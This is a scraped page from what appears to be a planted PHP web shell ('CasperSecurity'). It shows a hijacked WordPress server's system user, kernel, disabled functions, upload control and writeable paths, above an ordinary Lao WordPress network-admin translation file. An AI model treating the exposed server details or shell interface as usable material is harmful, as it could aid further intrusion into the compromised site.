T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/jesus-ai.com/public_html/wp-content/languages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/jesus-ai.com/public_html/wp-content/languages/admin-network-lo.po
# Translation of WordPress - 4.7.x - Administration - Network Admin in Lao
# This file is distributed under the same license as the WordPress - 4.7.x - Administration - Network Admin package.
msgid ""
msgstr ""
"PO-Revision-Date: 2016-11-12 04:01:32+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"X-Generator: GlotPress/2.3.0-alpha\n"
"Language: lo_LA\n"
"Project-Id-Version: WordPress - 4.7.x - Administration - Network Admin\n"

#. translators: %s: File size in kilobytes
#: wp-admin/network/settings.php:312
msgid "%s KB"
msgstr "%s KB"

#. translators: 1: wp-config.php
#: wp-admin/includes/network.php:464
msgid "This unique authentication key is also missing from your %s file."
msgstr "​ຄີ​ຮັບ​ຮອງ(authentication key) ນີ້​ຫາຍ​ໄປ​ຈາກ​ຟາຍ %s ​ຂອງ​ທ່ານ."

#. translators: 1: wp-config.php
#: wp-admin/includes/network.php:470
msgid "These unique authentication keys are also missing from your %s file."
msgstr "​ຄີ​ຮັບ​ຮອງ(authentication key) ເຫຼົ່າ​ນີ້​ຫາຍ​ໄປ​ຈາກ​ຟາຍ %s ​ຂອງ​ທ່ານ."

#. translators: %s: host name
#: wp-admin/includes/network.php:248 wp-admin/includes/network.php:297
msgid "The internet address of your network will be %s."
msgstr "​ທີ່​ຢູ່​ອິນ​ເຕີ​ເນັດ​ຂອງ​ເຄື່ອ​ຂ່າຍ​ຂອງ​ທ່ານ​ຈ​ະ​ເປັນ %s."

#: wp-admin/includes/network.php:203
msgid "You cannot change this later."
msgstr "​ທ່ານບໍ່​ສາ​ມາດ​ປ່ຽນ​ສິ່ງນີ້​ພາຍຫຼັງ​ໄດ້."

#. translators: 1: mod_rewrite, 2: mod_rewrite documentation URL, 3: Google
#. search for mod_rewrite
#: wp-admin/includes/network.php:191
msgid "If %1$s is disabled, ask your administrator to enable that module, or look at the <a href=\"%2$s\">Apache documentation</a> or <a href=\"%3$s\">elsewhere</a> for help setting it up."
msgstr "ຖ້າ %1$s ຖືກ​ປິດ​ການ​ໃຊ້​ງານ ໃຫ້​ຖາມ​ຜູ້​ຄວບ​ຄຸມ​ຂອງ​ທ່ານ​ໃຫ້​ເປີດ​ໂມ​ດູນນັ້ນ ຫຼື ເບິ່ງ​ທີ່ <a href=\"%2$s\">ຄູ່​ມື Apache</a> ຫຼື <a href=\"%3$s\">​ບ່ອນ​ອື່ນໆ</a> ​ສຳ​ລັບ​ຄວາມ​ຊ່ວຍ​ເຫຼືອ​ໃນ​ການ​ຕັ້ງ​ຄ່ານັ້ນ."

#. translators: %s: mod_rewrite
#: wp-admin/includes/network.php:175
msgid "Please make sure the Apache %s module is installed as it will be used at the end of this installation."
msgstr "​ກະ​ລຸ​ນາ​ແນ່​ໃຈ​ວ່າ Apache ໂມ​ດູນ %s ຕິດ​ຕັ້ງ​ແລ້ວ​ເພາະ​ວ່າ​ລະ​ບົບ​ຕ້ອງ​ຕ້ອງ​ໃຊ້​ມັນ​ໃນ​ຕອນ​ຈົບ​ຂອງ​ການ​ຕິດ​ຕັ້ງ."

#. translators: %s: mod_rewrite
#: wp-admin/includes/network.php:182
msgid "It looks like the Apache %s module is not installed."
msgstr "ເບິ່ງ​ຄື​ຍັງ​ບໍ່​ມີ​ການ​ຕິດ​ຕັ້ງ Apache %s module"

#. translators: %s: port number
#: wp-admin/includes/network.php:125
msgid "You cannot use port numbers such as %s."
msgstr "ທ່ານບໍ່​ສາ​ມາດ​ໃຊ້ port numbers ​ເຊັ່ນ %s."

#: wp-admin/includes/class-wp-ms-themes-list-table.php:247
msgid "Theme"
msgstr "ທິມ"

#: wp-admin/includes/class-wp-ms-users-list-table.php:113
msgctxt "user"
msgid "Mark as Spam"
msgstr "ໝາຍເປັນສະແປມ"

#: wp-admin/includes/class-wp-ms-sites-list-table.php:203
msgctxt "site"
msgid "Mark as Spam"
msgstr "ໝາຍເປັນສະແປມ"

#: wp-admin/includes/class-wp-ms-sites-list-table.php:231
#: wp-admin/network/site-info.php:177
msgctxt "site"
msgid "Registered"
msgstr "ລົງທະບຽນແລ້ວ"

#: wp-admin/includes/class-wp-ms-sites-list-table.php:204
#: wp-admin/includes/class-wp-ms-sites-list-table.php:535
msgctxt "site"
msgid "Not Spam"
msgstr "ບໍ່ແມ່ນສະແປມ"

#: wp-admin/includes/class-wp-ms-users-list-table.php:171
msgctxt "user"
msgid "Registered"
msgstr "ລົງທະບຽນແລ້ວ"

#: wp-admin/includes/class-wp-ms-sites-list-table.php:531
msgctxt "verb; site"
msgid "Archive"
msgstr "ຄັງເກັບ"

#: wp-admin/includes/class-wp-ms-sites-list-table.php:42
#: wp-admin/includes/class-wp-ms-sites-list-table.php:537
#: wp-admin/network/site-info.php:188
msgctxt "site"
msgid "Spam"
msgstr "ສະແປມ"

#: wp-admin/includes/class-wp-ms-themes-list-table.php:293
msgid "Enabled <span class=\"count\">(%s)</span>"
msgid_plural "Enabled <span class=\"count\">(%s)</span>"
msgstr[0] "ເປີດ​ການ​ໃຊ້​ງານ <span class=\"count\">(%s)</span>"

#: wp-admin/includes/class-wp-ms-themes-list-table.php:573
msgid "Visit Theme Site"
msgstr "ເຂົ້າ​ເບິ່ງ​ເວັບ​ໄຊ​ທິມ"

#: wp-admin/includes/class-wp-ms-sites-list-table.php:230
#: wp-admin/network/site-info.php:181
msgid "Last Updated"
msgstr "ອັບ​ເດດ​ຄັ້ງ​ສຸດ​ທ້າຍ"

#: wp-admin/includes/class-wp-ms-sites-list-table.php:41
#: wp-admin/network/site-info.php:187
msgid "Archived"
msgstr "​ຄັງ​ເກັບ"

#: wp-admin/includes/class-wp-ms-sites-list-table.php:44
#: wp-admin/network/site-info.php:191
msgid "Mature"
msgstr "​ເປັນ​ຜູ້​ໃຫຍ່"

#: wp-admin/includes/class-wp-ms-sites-list-table.php:43
#: wp-admin/network/site-info.php:189
msgid "Deleted"
msgstr "​ລຶບ"

#: wp-admin/includes/class-wp-ms-sites-list-table.php:529
msgid "Unarchive"
msgstr "​ອອກ​ຈາກ​ຄັງ​ເກັບ"

#: wp-admin/includes/class-wp-ms-sites-list-table.php:360
msgid "Never"
msgstr "ບໍ່​ເຄີຍ"

#: wp-admin/includes/class-wp-ms-sites-list-table.php:192
msgid "No sites found."
msgstr "ບໍ່​ພົບ​ເວັບ."

#: wp-admin/includes/class-wp-ms-themes-list-table.php:333
#: wp-admin/includes/class-wp-ms-themes-list-table.php:425
msgid "Enable"
msgstr "​ໃຊ້​ງານ"

#: wp-admin/includes/class-wp-ms-themes-list-table.php:335
#: wp-admin/includes/class-wp-ms-themes-list-table.php:447
msgid "Disable"
msgstr "​ປິດ​ການ​ໃຊ້​ງານ"

#: wp-admin/includes/class-wp-ms-users-list-table.php:114
msgctxt "user"
msgid "Not Spam"
msgstr "ຜູ້​ໃຊ້​ນີ້ບໍ່ແມ່ນສະແປມ"

#: wp-admin/includes/class-wp-ms-themes-list-table.php:296
msgid "Disabled <span class=\"count\">(%s)</span>"
msgid_plural "Disabled <span class=\"count\">(%s)</span>"
msgstr[0] "​ປິດ​ການ​ໃຊ້​ງານ <span class=\"count\">(%s)</span>"

#: wp-admin/includes/class-wp-ms-users-list-table.php:142
msgid "Super Admin <span class=\"count\">(%s)</span>"
msgid_plural "Super Admins <span class=\"count\">(%s)</span>"
msgstr[0] "ຜູ້​ຄວບ​ຄຸມ​ຂັ້ນ​ສູງ <span class=\"count\">(%s)</span>"

#: wp-admin/includes/class-wp-ms-themes-list-table.php:335
#: wp-admin/includes/class-wp-ms-themes-list-table.php:447
msgid "Network Disable"
msgstr "ປິດ​ການ​ໃຊ້​ງານ​ເຄື່ອ​ຂ່າຍ"

#: wp-admin/includes/class-wp-ms-themes-list-table.php:234
msgid "No themes found."
msgstr "ບໍ່​ເຫັນ​ທິມ."

#: wp-admin/includes/class-wp-ms-themes-list-table.php:541
msgid "Broken Theme:"
msgstr "​ທິມ​ທີ່​ເສຍ​ຫາຍ:"

#: wp-admin/includes/class-wp-ms-themes-list-table.php:302
msgid "Broken <span class=\"count\">(%s)</span>"
msgid_plural "Broken <span class=\"count\">(%s)</span>"
msgstr[0] " <span class=\"count\">(%s)</span> ເສຍ​ຫາຍ"

#. translators: 1: a filename like .htaccess. 2: a file path.
#: wp-admin/includes/network.php:539 wp-admin/includes/network.php:579
msgid "Add the following to your %1$s file in %2$s, <strong>replacing</strong> other WordPress rules:"
msgstr "​ເພີ່ມ​ຂໍ້​ຄວາມ​ເຫຼົ່າ​ນີ້​ໄປ​ທີ​ຟາຍ %1$s ​ໃນ %2$s, <strong>​ແທນ</strong> ​ກົດ​ເວີດ​ເພ​ສ​ອື່ນໆ:"

#: wp-admin/network/index.php:36
msgid "To add a new user, <strong>click Create a New User</strong>."
msgstr "ເພື່ອເພີ່ມຜູ້ໃຊ້ໃໝ່ <strong>ກົດສ້າງຜູ້ໃຊ້ໃໝ່</strong>"

#: wp-admin/includes/network.php:594
msgid "Once you complete these steps, your network is enabled and configured. You will have to log in again."
msgstr "​ເມື່ອ​ທ່ານ​ເຮັດ​ຂັ້ນ​ຕອນ​ເຫຼົ່າ​ນີ້​ສຳ​ເລັດ, ເຄື່ອ​ຂ່າຍ​ຂອງ​ທ່ານ​ຈະ​ເປີດ​ໃຊ້​ງານ ແລະ ຕັ້ງ​ຄ່າ​​ໄວ້​ຮຽບ​ຮ້ອຍ​ແລ້ວ. ທ່ານ​ຈະ​ຕ້ອງ​ເຂົ້າ​ສູ່​ລະ​ບົບ​ອີກ​ຄັ້ງ."

#: wp-admin/includes/network.php:475
msgid "To make your installation more secure, you should also add:"
msgstr "​ເພື່ອ​ໃຫ້​ການ​ຕິດ​ຕັ້ງ​ຂອງ​ທ່ານ​ປອດ​ໄພຫຼາຍ​ຂຶ້ນ, ທ່ານ​ຄວນ​ຈະ​ເພີ່ມ:"

#: wp-admin/includes/network.php:385
msgid "Enabling the Network"
msgstr "ເປີດ​ໃຊ້​ງານ​ເຄື່ອ​ຂ່າຍ"

#: wp-admin/includes/network.php:386
msgid "Complete the following steps to enable the features for creating a network of sites."
msgstr "ເຮັດ​ຕາມ​ຂັ້ນ​ຕອນ​ໃຫ້​ສຳ​ເລັດ​ເພື່ອ​ເປີດ​ໃຊ້​ງານ​ຄຳ​ສັ່ງ​ສ້າງ​ເຄື່ອ​ຂ່າຍ."

#: wp-admin/includes/network.php:374
msgid "Please complete the configuration steps. To create a new network, you will need to empty or remove the network database tables."
msgstr "ກະ​ລຸ​ນາ​ປະ​ຕິ​ບັດ​ຂັ້ນ​ຕອນ​ການ​ປັບ​ແຕ່ງ​ໃຫ້​ຈົບ. ເພື່ອ​ສ້າງ​ເຄື່ອ​ຂ່າຍ​ໃໝ່ ທ່ານ​ຈະ​ຕ້ອງ​ລ້າງ​ຄ່າ ຫຼື ລຶບ​ຕາ​ຕະ​ລາງ​ຖານ​ຂໍ້​ມູນ​ເຄື່ອ​ຂ່າຍ."

#: wp-admin/includes/network.php:304 wp-admin/network/settings.php:105
msgid "Network Title"
msgstr "ຫົວ​ຂໍ້​ເຄື່ອ​ຂ່າຍ"

#: wp-admin/includes/network.php:308
msgid "What would you like to call your network?"
msgstr "​ທ່ານ​ຢາກ​ເອີ້ນ​ເຄື່ອ​ຂ່າຍນີ້​ວ່າ​ແນວ​ໃດ?"

#: wp-admin/includes/network.php:317
msgid "Your email address."
msgstr "​ທີ່​ຢູ່​ອີ​ເມວ​ຂອງ​ທ່ານ."

#: wp-admin/includes/network.php:368
msgid "The original configuration steps are shown here for reference."
msgstr "ຂັ້ນ​ຕອນ​ການ​ປັບ​ແຕ່ງ​ເລີ່ມ​ຕົ້ນ​ຖືກ​ສະ​ແດງ​ບ່ອນນີ້​ເພື່ອ​ການ​ອ້າງ​ອີງ."

#: wp-admin/includes/network.php:373
msgid "An existing WordPress network was detected."
msgstr "ກວດ​ພົບ​ວ່າ​ມີ​ເຄື່ອ​ຂ່າຍເວີດ​ເພ​ສ​ຢູ່​ແລ​້ວ."

#: wp-admin/includes/network.php:256
msgid "Network Details"
msgstr "​ລາຍ​ລະ​ອ​ຽດ​ເຄື່ອ​ຂ່າຍ"

#: wp-admin/includes/network.php:234 wp-admin/includes/network.php:244
#: wp-admin/includes/network.php:293
msgid "Server Address"
msgstr "​ທີ່​ຢູ່​ເຊີບ​ເວີ"

#. translators: 1: hostname
#: wp-admin/includes/network.php:211
msgctxt "subdomain examples"
msgid "like <code>site1.%1$s</code> and <code>site2.%1$s</code>"
msgstr "​ເຊັ່ນ <code>site1.%1$s</code> ​ແລະ <code>site2.%1$s</code>"

#. translators: 1: hostname
#: wp-admin/includes/network.php:219
msgctxt "subdirectory examples"
msgid "like <code>%1$s/site1</code> and <code>%1$s/site2</code>"
msgstr "​ເຊັ່ນ <code>%1$s/​ເວັບ1</code> ແລະ <code>%1$s/​ເວັບ2</code>"

#: wp-admin/includes/network.php:201
msgid "Addresses of Sites in your Network"
msgstr "​ທີ່​ຢູ່​ເວັບ​ໃນ​ເຄື່​ອ​ຂ່າຍ​ຂອງ​ທ່ານ"

#: wp-admin/includes/network.php:180 wp-admin/includes/network.php:229
#: wp-admin/includes/network.php:270 wp-admin/includes/network.php:280
msgid "Warning!"
msgstr "​ຄຳ​ເຕືອນ"

#: wp-admin/includes/network.php:161
msgid "Fill in the information below and you&#8217;ll be on your way to creating a network of WordPress sites. We will create configuration files in the next step."
msgstr "​ຕື່ມ​ຂໍ້​ມູນ​ດ້ານ​ລຸ່ມ​ແລ້ວ​ທ່ານ​ຈະ​ເຂົ້າ​ສູ່​ການ​ສ້າງເຄື່ອ​ຂ່າຍ​ຂອງ​ເວີດ​ເພ​ສ. ເຮົາ​ຈະ​ສ້າງ​ຟາຍ​ປັບ​ແຕ່ງ​ໃນ​ຂັ້ນ​ຕອນ​ຕໍ່​ໄປ."

#: wp-admin/includes/network.php:128
msgid "Return to Dashboard"
msgstr "ກັບ​ໄປ​ໜ້າ​ຄວບ​ຄຸມ"

#: wp-admin/includes/network.php:140
msgid "ERROR: The network could not be created."
msgstr "​ຜິດ​ພາດ:ບໍ່​ສາ​ມາດ​ສ້າງ​ເຄື່ອ​ຂ່າຍ​ໄດ້."

#: wp-admin/includes/network.php:160
msgid "Welcome to the Network installation process!"
msgstr "​ຍິນ​ດີ​ຕ້ອນ​ຮັບ​ເຂົ້າ​ສູ່​ຂັ້ນ​ຕອນ​ການ​ຕິດ​ຕັ້ງ​ເຄື່ອ​ຂ່າຍ"

#: wp-admin/includes/network.php:105
msgid "The constant DO_NOT_UPGRADE_GLOBAL_TABLES cannot be defined when creating a network."
msgstr "​​ຕົວແປ DO_NOT_UPGRADE_GLOBAL_TABLES ​ບໍ່​ສາ​ມາດ​ກຳ​ນົດ​ໄດ້​ເວ​ລາ​ກຳ​ລັງ​ສ້າງ​ເຄື່ອ​ຂ່າຍ."

#: wp-admin/includes/network.php:113 wp-admin/includes/network.php:373
#: wp-admin/includes/network.php:545 wp-admin/includes/network.php:585
msgid "Warning:"
msgstr "​ຄຳ​ເຕືອນ:"

#: wp-admin/includes/network.php:113
msgid "Please <a href=\"%s\">deactivate your plugins</a> before enabling the Network feature."
msgstr "​ກະ​ລຸ​ນາ <a href=\"%s\">​ປິດ​ການ​ໃຊ້​ງານ​ປັກ​ອິນ​ຂອງ​ທ່ານ</a> ​ກ່ອນ​ເປີດ​ໃຊ້​ງານ​ເຄື່ອ​ຂ່າຍ."

#: wp-admin/includes/network.php:113
msgid "Once the network is created, you may reactivate your plugins."
msgstr "​ເມື່ອ​ສ້າງ​ເຄື່ອ​ຂ່າຍ​ແລ້ວ. ທ່ານ​ອາດ​ຈະ​ເປີດ​ໃຊ້​ງານ​ປັກ​ອິນ​ຂອງ​ທ່ານ​ອີກ​ຄັ້ງ."

#: wp-admin/includes/network.php:122
msgid "You cannot install a network of sites with your server address."
msgstr "ທ່ານບໍ່​ສາ​ມາດ​ຕິ​ດ​ຕັ້ງ​ເຄື່ອ​ຂ່າຍ​ຂອງ​ເວັບ​ດ້ວຍ​ທີ່​ຢູ່​ເຊີບ​ເວີ​ຂອງ​ທ່ານ."

#: wp-admin/includes/network.php:313 wp-admin/network/settings.php:112
msgid "Network Admin Email"
msgstr "​ອີ​ເມວ​ຜູ້​ຄວບ​ຄຸມ​ເຄື່ອ​ຂ່າຍ"

CasperSecurity Mini